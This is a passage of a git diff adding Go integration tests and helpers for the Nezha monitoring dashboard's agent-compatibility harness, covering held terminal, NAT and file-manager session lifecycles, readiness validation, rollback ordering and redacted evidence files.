func(context.Context) error { return rollbackFailure }}); err != nil { + t.Fatal(err) + } + + err := rollbackHeldNAT(session, original) + + if !errors.Is(err, original) || !errors.Is(err, rollbackFailure) { + t.Fatalf("joined error=%v, want original and rollback failures", err) + } +} + +func TestHeldNATConstructorRegistrationFailureRollsBackProfileBeforeBackend(t *testing.T) { + const profileID = uint64(77) + registrationFailure := errors.New("capability registration failed") + profileDeleteFailure := errors.New("profile deletion failed") + var cleanupOrder []string + + agentInstance := newHeldReadinessTestAgent(t, "00000000-0000-0000-0000-000000000401") + plan := heldNATTestPlan(t) + plan.ID, _ = NewStressSessionID("constructor-rollback") + input := heldNATInput{ + Dashboard: &dashboard.Dashboard{}, + PATClient: &client.Client{}, + Agent: agentInstance, + Readiness: completeHeldReadiness(agentInstance.UUID()), + Plan: plan, + } + dependencies := defaultHeldNATDependencies() + dependencies.snapshotState = func(context.Context, *client.Client) (client.IOStreamState, error) { + return client.IOStreamState{}, nil + } + dependencies.createProfile = func(context.Context, *dashboard.Dashboard, *fixture.NATHoldBackend, uint64, string, string) (uint64, error) { + return profileID, nil + } + dependencies.deleteProfile = func(context.Context, *dashboard.Dashboard, uint64) error { + cleanupOrder = append(cleanupOrder, "profile") + return profileDeleteFailure + } + dependencies.register = func(context.Context, *client.Client, heldIOStreamCapabilityIdentity) (*heldIOStreamCapability, error) { + return nil, registrationFailure + } + + _, err := newHeldNATSessionWithDependencies(context.Background(), input, dependencies) + + if !errors.Is(err, registrationFailure) || !errors.Is(err, profileDeleteFailure) { + t.Fatalf("constructor error=%v, want registration and profile cleanup failures", err) + } + if !reflect.DeepEqual(cleanupOrder, []string{"profile"}) { + t.Fatalf("cleanup order=%v, want profile before backend cleanup", cleanupOrder) + } +} + +type closeErrorConn struct{ err error } + +func (connection closeErrorConn) Read([]byte) (int, error) { return 0, net.ErrClosed } +func (connection closeErrorConn) Write([]byte) (int, error) { return 0, net.ErrClosed } +func (connection closeErrorConn) Close() error { return connection.err } +func (connection closeErrorConn) LocalAddr() net.Addr { return heldNATTestAddr{} } +func (connection closeErrorConn) RemoteAddr() net.Addr { return heldNATTestAddr{} } +func (connection closeErrorConn) SetDeadline(time.Time) error { return nil } +func (connection closeErrorConn) SetReadDeadline(time.Time) error { return nil } +func (connection closeErrorConn) SetWriteDeadline(time.Time) error { return nil } + +type heldNATTestAddr struct{} + +func (heldNATTestAddr) Network() string { return "held-nat-test" } +func (heldNATTestAddr) String() string { return "held-nat-test" } + +func heldNATTestPlan(t *testing.T) StressSessionPlan { + t.Helper() + id, err := NewStressSessionID("held-nat") + if err != nil { + t.Fatal(err) + } + agent, err := NewStressAgentOrdinal(1) + if err != nil { + t.Fatal(err) + } + return StressSessionPlan{ID: id, Kind: StressSessionNAT, Ordinal: 1, Agent: agent} +} + +func newTestHeldNATSession(t *testing.T) *heldNATSession { + t.Helper() + lifecycle, err := newHeldSessionLifecycle(context.Background(), heldNATTestPlan(t), "", time.Second) + if err != nil { + t.Fatal(err) + } + return &heldNATSession{lifecycle: lifecycle, cleanup: newHeldCleanupStack()} +} diff --git a/integration/agentcompat/internal/scenario/held_readiness.go b/integration/agentcompat/internal/scenario/held_readiness.go new file mode 100644 index 00000000..019475b0 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_readiness.go @@ -0,0 +1,80 @@ +//go:build linux + +package scenario + +import ( + "errors" + "fmt" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/agent" +) + +var ( + ErrInvalidHeldReadiness = errors.New("held readiness is invalid") + ErrHeldReadinessServerID = errors.New("held readiness server ID is missing") + ErrHeldReadinessUUID = errors.New("held readiness UUID is missing") + ErrHeldReadinessAgentMismatch = errors.New("held readiness does not match Agent") + ErrHeldReadinessVersion = errors.New("held readiness version is missing") + ErrHeldReadinessOnline = errors.New("held readiness is offline") + ErrHeldReadinessVersionObserved = errors.New("held readiness version was not observed") + ErrHeldReadinessRequestTaskEstablished = errors.New("held readiness RequestTask was not established") + ErrHeldReadinessStateReceiptObserved = errors.New("held readiness state receipt was not observed") +) + +type HeldReadinessValidationError struct { + Field string + cause error +} + +func (validationError *HeldReadinessValidationError) Error() string { + return fmt.Sprintf("held readiness field %q: %s", validationError.Field, validationError.cause) +} + +func (validationError *HeldReadinessValidationError) Is(target error) bool { + return target == ErrInvalidHeldReadiness || target == validationError.cause +} + +func validateHeldReadiness(agentInstance *agent.Agent, readiness agent.Readiness) error { + if agentInstance == nil { + return ErrInvalidHeldReadiness + } + if readiness.ServerID == 0 { + return newHeldReadinessValidationError("server_id", ErrHeldReadinessServerID) + } + if readiness.UUID == "" { + return newHeldReadinessValidationError("uuid", ErrHeldReadinessUUID) + } + return validateHeldReadinessFacts(heldSessionAgentFacts{PID: agentInstance.PID(), UUID: agentInstance.UUID()}, readiness) +} + +func validateHeldReadinessFacts(agentFacts heldSessionAgentFacts, readiness agent.Readiness) error { + if readiness.ServerID == 0 { + return newHeldReadinessValidationError("server_id", ErrHeldReadinessServerID) + } + if readiness.UUID == "" { + return newHeldReadinessValidationError("uuid", ErrHeldReadinessUUID) + } + if readiness.UUID != agentFacts.UUID { + return newHeldReadinessValidationError("uuid", ErrHeldReadinessAgentMismatch) + } + if readiness.Version == "" { + return newHeldReadinessValidationError("version", ErrHeldReadinessVersion) + } + if !readiness.Online { + return newHeldReadinessValidationError("online", ErrHeldReadinessOnline) + } + if !readiness.VersionObserved { + return newHeldReadinessValidationError("version_observed", ErrHeldReadinessVersionObserved) + } + if !readiness.RequestTaskEstablished { + return newHeldReadinessValidationError("request_task_established", ErrHeldReadinessRequestTaskEstablished) + } + if !readiness.StateReceiptObserved { + return newHeldReadinessValidationError("state_receipt_observed", ErrHeldReadinessStateReceiptObserved) + } + return nil +} + +func newHeldReadinessValidationError(field string, cause error) error { + return &HeldReadinessValidationError{Field: field, cause: cause} +} diff --git a/integration/agentcompat/internal/scenario/held_readiness_test.go b/integration/agentcompat/internal/scenario/held_readiness_test.go new file mode 100644 index 00000000..74943c9a --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_readiness_test.go @@ -0,0 +1,134 @@ +//go:build linux + +package scenario + +import ( + "context" + "os" + "path/filepath" + "testing" + "time" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/agent" +) + +func TestHeldReadinessValidation_AcceptsCompleteEvidenceForActualAgent(t *testing.T) { + // Given + agentInstance := newHeldReadinessTestAgent(t, "00000000-0000-0000-0000-000000000301") + readiness := completeHeldReadiness(agentInstance.UUID()) + + // When + err := validateHeldReadiness(agentInstance, readiness) + + // Then + require.NoError(t, err) +} + +func TestHeldReadinessValidation_RejectsEachInvalidDimensionWithExactError(t *testing.T) { + // Given + agentInstance := newHeldReadinessTestAgent(t, "00000000-0000-0000-0000-000000000302") + valid := completeHeldReadiness(agentInstance.UUID()) + allSentinels := []error{ + ErrHeldReadinessServerID, + ErrHeldReadinessUUID, + ErrHeldReadinessAgentMismatch, + ErrHeldReadinessVersion, + ErrHeldReadinessOnline, + ErrHeldReadinessVersionObserved, + ErrHeldReadinessRequestTaskEstablished, + ErrHeldReadinessStateReceiptObserved, + } + tests := []struct { + name string + field string + wantError error + mutate func(*agent.Readiness) + }{ + {name: "zero server ID", field: "server_id", wantError: ErrHeldReadinessServerID, mutate: func(readiness *agent.Readiness) { readiness.ServerID = 0 }}, + {name: "empty UUID", field: "uuid", wantError: ErrHeldReadinessUUID, mutate: func(readiness *agent.Readiness) { readiness.UUID = "" }}, + {name: "agent UUID mismatch", field: "uuid", wantError: ErrHeldReadinessAgentMismatch, mutate: func(readiness *agent.Readiness) { readiness.UUID = "00000000-0000-0000-0000-000000000399" }}, + {name: "empty version", field: "version", wantError: ErrHeldReadinessVersion, mutate: func(readiness *agent.Readiness) { readiness.Version = "" }}, + {name: "offline", field: "online", wantError: ErrHeldReadinessOnline, mutate: func(readiness *agent.Readiness) { readiness.Online = false }}, + {name: "version not observed", field: "version_observed", wantError: ErrHeldReadinessVersionObserved, mutate: func(readiness *agent.Readiness) { readiness.VersionObserved = false }}, + {name: "request task not established", field: "request_task_established", wantError: ErrHeldReadinessRequestTaskEstablished, mutate: func(readiness *agent.Readiness) { readiness.RequestTaskEstablished = false }}, + {name: "state receipt not observed", field: "state_receipt_observed", wantError: ErrHeldReadinessStateReceiptObserved, mutate: func(readiness *agent.Readiness) { readiness.StateReceiptObserved = false }}, + } + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + readiness := valid + test.mutate(&readiness) + + // When + err := validateHeldReadiness(agentInstance, readiness) + + // Then + require.ErrorIs(t, err, ErrInvalidHeldReadiness) + require.ErrorIs(t, err, test.wantError) + var validationError *HeldReadinessValidationError + require.ErrorAs(t, err, &validationError) + require.Equal(t, test.field, validationError.Field) + require.NotContains(t, err.Error(), valid.UUID) + require.NotContains(t, err.Error(), valid.Version) + for _, sentinel := range allSentinels { + if sentinel != test.wantError { + require.NotErrorIs(t, err, sentinel) + } + } + }) + } +} + +func completeHeldReadiness(uuid string) agent.Readiness { + return agent.Readiness{ + ServerID: 301, + UUID: uuid, + Version: "v2.1.0", + Online: true, + VersionObserved: true, + RequestTaskEstablished: true, + StateReceiptObserved: true, + } +} + +func newHeldReadinessTestAgent(t *testing.T, uuid string) *agent.Agent { + t.Helper() + sourceDirectory := t.TempDir() + mainDirectory := filepath.Join(sourceDirectory, "cmd", "agent") + monitorDirectory := filepath.Join(sourceDirectory, "pkg", "monitor") + require.NoError(t, os.MkdirAll(mainDirectory, 0o700)) + require.NoError(t, os.MkdirAll(monitorDirectory, 0o700)) + require.NoError(t, os.WriteFile(filepath.Join(sourceDirectory, "go.mod"), []byte("module github.com/nezhahq/agent\n\ngo 1.26.3\n"), 0o600)) + require.NoError(t, os.WriteFile(filepath.Join(monitorDirectory, "version.go"), []byte("package monitor\n\nvar Version = \"test\"\n"), 0o600)) + require.NoError(t, os.WriteFile(filepath.Join(mainDirectory, "main.go"), []byte(`package main + +import ( + "os" + "os/signal" + "syscall" + + "github.com/nezhahq/agent/pkg/monitor" +) + +func main() { + _ = monitor.Version + signals := make(chan os.Signal, 1) + signal.Notify(signals, syscall.SIGINT, syscall.SIGTERM) + <-signals +} +`), 0o600)) + + agentInstance, err := agent.Start(t.Context(), agent.AgentStartConfig{ + SourceDir: sourceDirectory, + Endpoint: "127.0.0.1:1", + UUID: uuid, + }) + require.NoError(t, err) + t.Cleanup(func() { + cleanupContext, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + require.NoError(t, agentInstance.Stop(cleanupContext)) + }) + return agentInstance +} diff --git a/integration/agentcompat/internal/scenario/held_real_evidence.go b/integration/agentcompat/internal/scenario/held_real_evidence.go new file mode 100644 index 00000000..e5ab2551 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_real_evidence.go @@ -0,0 +1,71 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "encoding/json" + "fmt" + "os" + "path/filepath" + "slices" + + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" +) + +type heldRealEvidence struct { + Kind string `json:"kind"` + BaselineCount int `json:"baseline_count"` + LiveCount int `json:"live_count"` + ClosedCount int `json:"closed_count"` + ExactIDPresent bool `json:"exact_id_present"` + ExactIDAbsent bool `json:"exact_id_absent"` + ProtocolProved bool `json:"protocol_proved"` + SensitiveHeadersPresent bool `json:"sensitive_headers_present"` + DashboardPIDUnchanged bool `json:"dashboard_pid_unchanged"` + AgentPIDUnchanged bool `json:"agent_pid_unchanged"` + CleanupOK bool `json:"cleanup_ok"` +} + +type heldRealCleanup struct { + Agent processharness.CleanupReceipt + Dashboard processharness.CleanupReceipt + SessionClosed bool + ExactStreamGone bool + OwnedResourceGone bool + AgentPIDGone bool + DashboardPIDGone bool +} + +func heldRealArtifactKinds() []string { + return []string{"terminal", "file-manager", "nat"} +} + +func heldRealCleanupOK(cleanup heldRealCleanup) bool { + return cleanup.Agent.Passed && cleanup.Dashboard.Passed && cleanup.SessionClosed && cleanup.ExactStreamGone && cleanup.OwnedResourceGone && cleanup.AgentPIDGone && cleanup.DashboardPIDGone +} + +func heldRealArtifactKeys() []string { + return []string{ + "kind", "baseline_count", "live_count", "closed_count", "exact_id_present", "exact_id_absent", + "protocol_proved", "sensitive_headers_present", "dashboard_pid_unchanged", "agent_pid_unchanged", "cleanup_ok", + } +} + +func writeHeldRealEvidence(kind string, evidence heldRealEvidence) error { + if !slices.Contains(heldRealArtifactKinds(), kind) || evidence.Kind != kind { + return fmt.Errorf("held real evidence kind is invalid") + } + data, err := json.Marshal(evidence) + if err != nil { + return fmt.Errorf("encode held real evidence: %w", err) + } + root := "/tmp/nezha-held-real-sessions" + if err := os.MkdirAll(root, 0o700); err != nil { + return fmt.Errorf("create held real evidence directory: %w", err) + } + path := filepath.Join(root, kind+".json") + if err := os.WriteFile(path, data, 0o600); err != nil { + return fmt.Errorf("write held real evidence: %w", err) + } + return nil +} diff --git a/integration/agentcompat/internal/scenario/held_real_semantics_test.go b/integration/agentcompat/internal/scenario/held_real_semantics_test.go new file mode 100644 index 00000000..ff668feb --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_real_semantics_test.go @@ -0,0 +1,56 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "context" + "encoding/json" + "errors" + "strings" + "testing" + + "github.com/stretchr/testify/require" + + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" +) + +func TestHeldRealArtifactKindsIncludeEveryRealSessionKind(t *testing.T) { + require.ElementsMatch(t, []string{"terminal", "file-manager", "nat"}, heldRealArtifactKinds()) +} + +func TestHeldRealCleanupOKRejectsReceiptErrorAndRunningPID(t *testing.T) { + passedReceipt := processharness.NewCleanupReceipt([]processharness.CleanupRecord{{Name: "process", PID: 1}}) + failedReceipt := processharness.NewCleanupReceipt([]processharness.CleanupRecord{{Name: "process", PID: 1, Error: "cleanup failed"}}) + + complete := heldRealCleanup{Agent: passedReceipt, Dashboard: passedReceipt, SessionClosed: true, ExactStreamGone: true, OwnedResourceGone: true, AgentPIDGone: true, DashboardPIDGone: true} + require.True(t, heldRealCleanupOK(complete)) + complete.Agent = failedReceipt + require.False(t, heldRealCleanupOK(complete)) + complete.Agent = passedReceipt + complete.AgentPIDGone = false + require.False(t, heldRealCleanupOK(complete)) +} + +func TestHeldRealNATProfileQueryPropagatesRESTError(t *testing.T) { + wantErr := errors.New("query failed") + present, err := heldRealNATProfilePresentWithQuery(context.Background(), 9, func(context.Context) ([]heldRealNATProfile, error) { + return nil, wantErr + }) + + require.ErrorIs(t, err, wantErr) + require.False(t, present) +} + +func TestHeldRealEvidenceUsesOnlyRedactedSchema(t *testing.T) { + data, err := json.Marshal(heldRealEvidence{Kind: "terminal", SensitiveHeadersPresent: false}) + require.NoError(t, err) + var fields map[string]json.RawMessage + require.NoError(t, json.Unmarshal(data, &fields)) + for field := range fields { + require.Contains(t, heldRealArtifactKeys(), field) + } + require.NotContains(t, strings.ToLower(string(data)), "stream") + require.NotContains(t, strings.ToLower(string(data)), "token") + require.NotContains(t, strings.ToLower(string(data)), "authorization") + require.Error(t, writeHeldRealEvidence("unknown", heldRealEvidence{Kind: "unknown"})) +} diff --git a/integration/agentcompat/internal/scenario/held_session.go b/integration/agentcompat/internal/scenario/held_session.go new file mode 100644 index 00000000..71065b34 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_session.go @@ -0,0 +1,176 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "sync" + "time" +) + +var ( + ErrInvalidHeldSessionPlan = errors.New("held session plan is invalid") + ErrHeldSessionClosedBeforeLive = errors.New("held session closed before live") + ErrHeldSessionLiveResolved = errors.New("held session live state already resolved") +) + +type heldSession interface { + Plan() StressSessionPlan + WaitLive(context.Context) error + Close(context.Context) error + WaitClosed(context.Context) error + IOStreamID() (string, bool) + Done() <-chan struct{} + CloseResult() error +} + +type heldSessionState uint8 + +const ( + heldSessionConstructed heldSessionState = iota + heldSessionLive + heldSessionFailed + heldSessionClosing + heldSessionClosed +) + +type heldSessionLifecycle struct { + baseContext context.Context + plan StressSessionPlan + ioStreamID string + cleanupTimeout time.Duration + + mu sync.Mutex + state heldSessionState + liveResult error + liveDone chan struct{} + closedDone chan struct{} + closedResult error +} + +type heldSessionCloseOwner struct { + lifecycle *heldSessionLifecycle + closeOnce sync.Once +} + +func newHeldSessionLifecycle(baseContext context.Context, plan StressSessionPlan, ioStreamID string, cleanupTimeout time.Duration) (*heldSessionLifecycle, error) { + if baseContext == nil || plan.ID.String() == "" || !supportedHeldSessionKind(plan.Kind) || plan.Ordinal < 1 || plan.Agent.Int() < 1 || cleanupTimeout <= 0 { + return nil, ErrInvalidHeldSessionPlan + } + return &heldSessionLifecycle{ + baseContext: baseContext, + plan: plan, + ioStreamID: ioStreamID, + cleanupTimeout: cleanupTimeout, + state: heldSessionConstructed, + liveDone: make(chan struct{}), + closedDone: make(chan struct{}), + }, nil +} + +func supportedHeldSessionKind(kind StressSessionKind) bool { + switch kind { + case StressSessionTerminal, StressSessionNAT, StressSessionFM: + return true + default: + return false + } +} + +func (lifecycle *heldSessionLifecycle) Plan() StressSessionPlan { return lifecycle.plan } + +func (lifecycle *heldSessionLifecycle) IOStreamID() (string, bool) { + return lifecycle.ioStreamID, lifecycle.ioStreamID != "" +} + +func (lifecycle *heldSessionLifecycle) setIOStreamID(streamID string) error { + if streamID == "" { + return errors.New("held session stream ID is empty") + } + lifecycle.mu.Lock() + defer lifecycle.mu.Unlock() + if lifecycle.state != heldSessionConstructed { + return ErrHeldSessionLiveResolved + } + lifecycle.ioStreamID = streamID + return nil +} + +func (lifecycle *heldSessionLifecycle) markLive(err error) error { + lifecycle.mu.Lock() + defer lifecycle.mu.Unlock() + if lifecycle.state != heldSessionConstructed { + return ErrHeldSessionLiveResolved + } + lifecycle.liveResult = err + if err == nil { + lifecycle.state = heldSessionLive + } else { + lifecycle.state = heldSessionFailed + } + close(lifecycle.liveDone) + return nil +} + +func (lifecycle *heldSessionLifecycle) WaitLive(ctx context.Context) error { + select { + case <-lifecycle.liveDone: + lifecycle.mu.Lock() + defer lifecycle.mu.Unlock() + return lifecycle.liveResult + case <-ctx.Done(): + return ctx.Err() + } +} + +func (lifecycle *heldSessionLifecycle) beginClose() (*heldSessionCloseOwner, bool) { + lifecycle.mu.Lock() + defer lifecycle.mu.Unlock() + if lifecycle.state == heldSessionConstructed { + lifecycle.liveResult = ErrHeldSessionClosedBeforeLive + lifecycle.state = heldSessionClosing + close(lifecycle.liveDone) + return &heldSessionCloseOwner{lifecycle: lifecycle}, true + } + if lifecycle.state == heldSessionLive || lifecycle.state == heldSessionFailed { + lifecycle.state = heldSessionClosing + return &heldSessionCloseOwner{lifecycle: lifecycle}, true + } + return nil, false +} + +func (owner *heldSessionCloseOwner) cleanupContext() (context.Context, context.CancelFunc) { + // The deadline only signals cancellation; it cannot forcibly terminate arbitrary cleanup work. + return context.WithTimeout(context.WithoutCancel(owner.lifecycle.baseContext), owner.lifecycle.cleanupTimeout) +} + +func (owner *heldSessionCloseOwner) markClosed(err error) { + owner.closeOnce.Do(func() { + lifecycle := owner.lifecycle + lifecycle.mu.Lock() + lifecycle.closedResult = err + lifecycle.state = heldSessionClosed + close(lifecycle.closedDone) + lifecycle.mu.Unlock() + }) +} + +func (lifecycle *heldSessionLifecycle) WaitClosed(ctx context.Context) error { + select { + case <-lifecycle.closedDone: + lifecycle.mu.Lock() + defer lifecycle.mu.Unlock() + return lifecycle.closedResult + case <-ctx.Done(): + return ctx.Err() + } +} + +func (lifecycle *heldSessionLifecycle) Done() <-chan struct{} { return lifecycle.closedDone } + +func (lifecycle *heldSessionLifecycle) CloseResult() error { + lifecycle.mu.Lock() + defer lifecycle.mu.Unlock() + return lifecycle.closedResult +} diff --git a/integration/agentcompat/internal/scenario/held_session_adapter_test.go b/integration/agentcompat/internal/scenario/held_session_adapter_test.go new file mode 100644 index 00000000..ace91a4e --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_session_adapter_test.go @@ -0,0 +1,80 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "sync/atomic" + "testing" +) + +func TestHeldSessionAdapterCanceledWaiterRetainsCleanupForLaterCaller(t *testing.T) { + cleanupStarted := make(chan struct{}) + cleanupRelease := make(chan struct{}) + cleanupErr := errors.New("cleanup failed") + var cleanupCount atomic.Int32 + lifecycle := heldTestLifecycle(t, "") + adapter := &heldSessionAdapter{ + lifecycle: lifecycle, + cleanup: func(cleanupContext context.Context) error { + cleanupCount.Add(1) + if err := cleanupContext.Err(); err != nil { + t.Errorf("cleanup context canceled before release: %v", err) + } + close(cleanupStarted) + <-cleanupRelease + return cleanupErr + }, + } + canceled, cancel := context.WithCancel(context.Background()) + cancel() + firstResult := make(chan error, 1) + go func() { firstResult <- adapter.Close(canceled) }() + <-cleanupStarted + if err := <-firstResult; !errors.Is(err, context.Canceled) { + t.Fatalf("canceled Close error = %v", err) + } + close(cleanupRelease) + if err := adapter.Close(context.Background()); !errors.Is(err, cleanupErr) { + t.Fatalf("later Close error = %v", err) + } + if count := cleanupCount.Load(); count != 1 { + t.Fatalf("cleanup invocation count = %d, want 1", count) + } +} + +type heldSessionAdapter struct { + lifecycle *heldSessionLifecycle + cleanup func(context.Context) error +} + +func (adapter *heldSessionAdapter) Plan() StressSessionPlan { return adapter.lifecycle.Plan() } + +func (adapter *heldSessionAdapter) WaitLive(ctx context.Context) error { + return adapter.lifecycle.WaitLive(ctx) +} + +func (adapter *heldSessionAdapter) IOStreamID() (string, bool) { return adapter.lifecycle.IOStreamID() } + +func (adapter *heldSessionAdapter) WaitClosed(ctx context.Context) error { + return adapter.lifecycle.WaitClosed(ctx) +} + +func (adapter *heldSessionAdapter) Done() <-chan struct{} { return adapter.lifecycle.Done() } +func (adapter *heldSessionAdapter) CloseResult() error { return adapter.lifecycle.CloseResult() } + +func (adapter *heldSessionAdapter) Close(ctx context.Context) error { + owner, won := adapter.lifecycle.beginClose() + if !won { + return adapter.lifecycle.WaitClosed(ctx) + } + go func() { + cleanupContext, cancel := owner.cleanupContext() + defer cancel() + owner.markClosed(adapter.cleanup(cleanupContext)) + }() + return adapter.lifecycle.WaitClosed(ctx) +} + +var _ heldSession = (*heldSessionAdapter)(nil) diff --git a/integration/agentcompat/internal/scenario/held_session_set.go b/integration/agentcompat/internal/scenario/held_session_set.go new file mode 100644 index 00000000..d75f794c --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_session_set.go @@ -0,0 +1,251 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "fmt" + "sync" + + "golang.org/x/sync/errgroup" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" +) + +type heldSessionSet struct { + mu sync.Mutex + plans []StressSessionPlan + sessions []heldSession + state heldSessionSetStateObserver + dependencies HeldSessionSetDependencies + baseline client.IOStreamState + healthContext context.Context + healthMu sync.Mutex + healthError error + healthErrors []error + healthDoneOnce sync.Once + healthDone chan struct{} + healthStop chan struct{} + healthStopOnce sync.Once + healthShutdown chan struct{} + healthShutdownOnce sync.Once + healthShutdownRequests chan heldHealthShutdownRequest + healthWG sync.WaitGroup + healthCoordinatorWG sync.WaitGroup + healthCoordinatorDoneOnce sync.Once + healthEvents chan heldHealthMessage + healthSnapshots []chan heldHealthSnapshotRequest + coordinatorDone chan struct{} + healthSnapshotRequestHook func(int) + healthSnapshotReplyHook func(int) + healthSnapshotOverrideHook func(int, heldHealthSnapshotRequest) *heldHealthSnapshot + healthSnapshotSendHook func(int) + healthEventHook func(heldHealthMessage) + healthClosureObservedHook func(int) + healthSnapshotAcceptedHook func(heldHealthSnapshot) + healthShutdownAcceptedHook func() + healthShutdownAcknowledgedHook func() + healthWatcherDone []chan struct{} + closing bool + closeOnce sync.Once + closeDone chan struct{} + closeError error +} + +func NewHeldSessionSet(ctx context.Context, input HeldSessionSetInput) (*heldSessionSet, error) { + if ctx == nil { + return nil, ErrInvalidHeldSessionSetTopology + } + plans, err := validateHeldSessionSetPlans(input.Plan) + if err != nil { + return nil, redactHeldSessionSetError(err) + } + topology, err := validateHeldSessionSetTopology(input, plans) + if err != nil { + return nil, redactHeldSessionSetError(err) + } + dependencies := input.Dependencies + if (dependencies.Terminal == nil) != (dependencies.NAT == nil) || (dependencies.Terminal == nil) != (dependencies.FM == nil) || (dependencies.Terminal == nil) != (dependencies.Snapshot == nil) || (dependencies.Terminal == nil) != (dependencies.WaitState == nil) || (dependencies.Terminal == nil) != (dependencies.InspectAgent == nil) || (dependencies.Terminal == nil) != (dependencies.ObserveState == nil) { + return nil, redactHeldSessionSetError(ErrInvalidHeldSessionSetTopology) + } + if dependencies.Terminal == nil { + dependencies = defaultHeldSessionSetDependencies() + } + baseline, err := dependencies.Snapshot(ctx, topology.stateClient) + if err != nil { + return nil, redactHeldSessionSetError(err) + } + set := newHeldSessionSet(plans, topology.stateClient, baseline, dependencies, ctx) + set.healthSnapshotRequestHook = input.testHealthSnapshotRequestHook + set.healthSnapshotReplyHook = input.testHealthSnapshotReplyHook + set.healthSnapshotOverrideHook = input.testHealthSnapshotOverrideHook + set.healthSnapshotSendHook = input.testHealthSnapshotSendHook + set.healthEventHook = input.testHealthEventHook + set.healthClosureObservedHook = input.testHealthClosureObservedHook + set.healthSnapshotAcceptedHook = input.testHealthSnapshotAcceptedHook + set.healthShutdownAcceptedHook = input.testHealthShutdownAcceptedHook + set.healthShutdownAcknowledgedHook = input.testHealthShutdownAcknowledgedHook + if err := set.construct(ctx, topology); err != nil { + return nil, redactHeldSessionSetError(err) + } + if err := set.waitLive(ctx); err != nil { + return nil, redactHeldSessionSetError(errors.Join(err, set.Close(context.WithoutCancel(ctx)))) + } + set.startHealthWatchers() + return set, nil +} + +func (set *heldSessionSet) construct(ctx context.Context, topology heldSessionSetTopology) error { + acquisitionContext, cancelAcquisition := context.WithCancel(ctx) + defer cancelAcquisition() + ready := make(chan struct{}, len(set.plans)) + release := make(chan struct{}) + var releaseOnce sync.Once + releaseWorkers := func() { releaseOnce.Do(func() { close(release) }) } + group, groupContext := errgroup.WithContext(acquisitionContext) + var mu sync.Mutex + var constructionErrors error + for index, plan := range set.plans { + index, plan := index, plan + group.Go(func() error { + select { + case ready <- struct{}{}: + case <-groupContext.Done(): + return groupContext.Err() + } + select { + case <-release: + case <-groupContext.Done(): + return groupContext.Err() + } + topologyAgent := topology.agents[plan.Agent.Int()] + // Acquisition cancellation unblocks siblings; successful sessions retain the outer lifetime context. + session, err := constructHeldSession(groupContext, ctx, topology.dashboard, topologyAgent, plan, set.dependencies) + if err != nil { + mu.Lock() + constructionErrors = errors.Join(constructionErrors, err) + mu.Unlock() + return err + } + mu.Lock() + set.sessions[index] = session + mu.Unlock() + return nil + }) + } + for range set.plans { + select { + case <-ready: + case <-groupContext.Done(): + releaseWorkers() + groupError := group.Wait() + return errors.Join(groupContext.Err(), groupError, constructionErrors, set.rollback(ctx)) + } + } + releaseWorkers() + groupError := group.Wait() + if groupError != nil { + return errors.Join(groupError, constructionErrors, set.rollback(ctx)) + } + return nil +} + +func constructHeldSession(ctx, lifetimeContext context.Context, dashboardInstance *dashboard.Dashboard, topology HeldSessionAgent, plan StressSessionPlan, dependencies HeldSessionSetDependencies) (heldSession, error) { + switch plan.Kind { + case StressSessionTerminal: + return dependencies.Terminal(ctx, heldTerminalInput{Dashboard: dashboardInstance, PATClient: topology.PATClient, Agent: topology.Agent, Readiness: topology.Readiness, Plan: plan, LifetimeContext: lifetimeContext}) + case StressSessionNAT: + return dependencies.NAT(ctx, heldNATInput{Dashboard: dashboardInstance, PATClient: topology.PATClient, Agent: topology.Agent, Readiness: topology.Readiness, Plan: plan, LifetimeContext: lifetimeContext}) + case StressSessionFM: + return dependencies.FM(ctx, heldLegacyFMInput{Dashboard: dashboardInstance, PATClient: topology.PATClient, Agent: topology.Agent, Readiness: topology.Readiness, Plan: plan, LifetimeContext: lifetimeContext}) + default: + return nil, fmt.Errorf("unsupported held session kind %q: %w", plan.Kind, ErrInvalidHeldSessionSetPlan) + } +} + +func (set *heldSessionSet) waitLive(ctx context.Context) error { + group, groupContext := errgroup.WithContext(ctx) + for index, session := range set.sessions { + index, session := index, session + group.Go(func() error { + if session == nil { + return fmt.Errorf("session %d was not constructed", index) + } + if err := session.WaitLive(groupContext); err != nil { + return err + } + select { + case <-session.Done(): + return errors.Join(ErrHeldSessionPrematureClose, session.CloseResult()) + default: + } + if !sessionMatchesPlan(session, set.plans[index]) { + return fmt.Errorf("session %d does not match its plan", index) + } + return nil + }) + } + if err := group.Wait(); err != nil { + return err + } + for _, session := range set.sessions { + if session == nil { + return errors.New("held session set has an unconstructed session") + } + } + streamIDs, err := set.streamIDs() + if err != nil { + return err + } + streamErr := waitHeldSessionSetStreams(ctx, set.state, set.baseline.Count+len(streamIDs), streamIDs, true, set.dependencies.WaitState) + _, aggregateErr := set.dependencies.WaitState(ctx, set.state, client.IOStreamStateExpectation{ExpectedCount: client.ExpectedIOStreamCount(set.baseline.Count + len(streamIDs))}) + return errors.Join(streamErr, aggregateErr) +} + +func (set *heldSessionSet) streamIDs() ([]string, error) { + ids := make([]string, len(set.sessions)) + seen := make(map[string]struct{}, len(ids)) + for index, session := range set.sessions { + streamID, present := session.IOStreamID() + if !present || streamID == "" { + return nil, errors.New("held session stream ID is empty") + } + if _, exists := seen[streamID]; exists { + return nil, fmt.Errorf("duplicate held session stream ID: %w", ErrInvalidHeldSessionSetPlan) + } + seen[streamID] = struct{}{} + ids[index] = streamID + } + return ids, nil +} + +func sessionMatchesPlan(session heldSession, plan StressSessionPlan) bool { + return session.Plan() == plan +} + +func 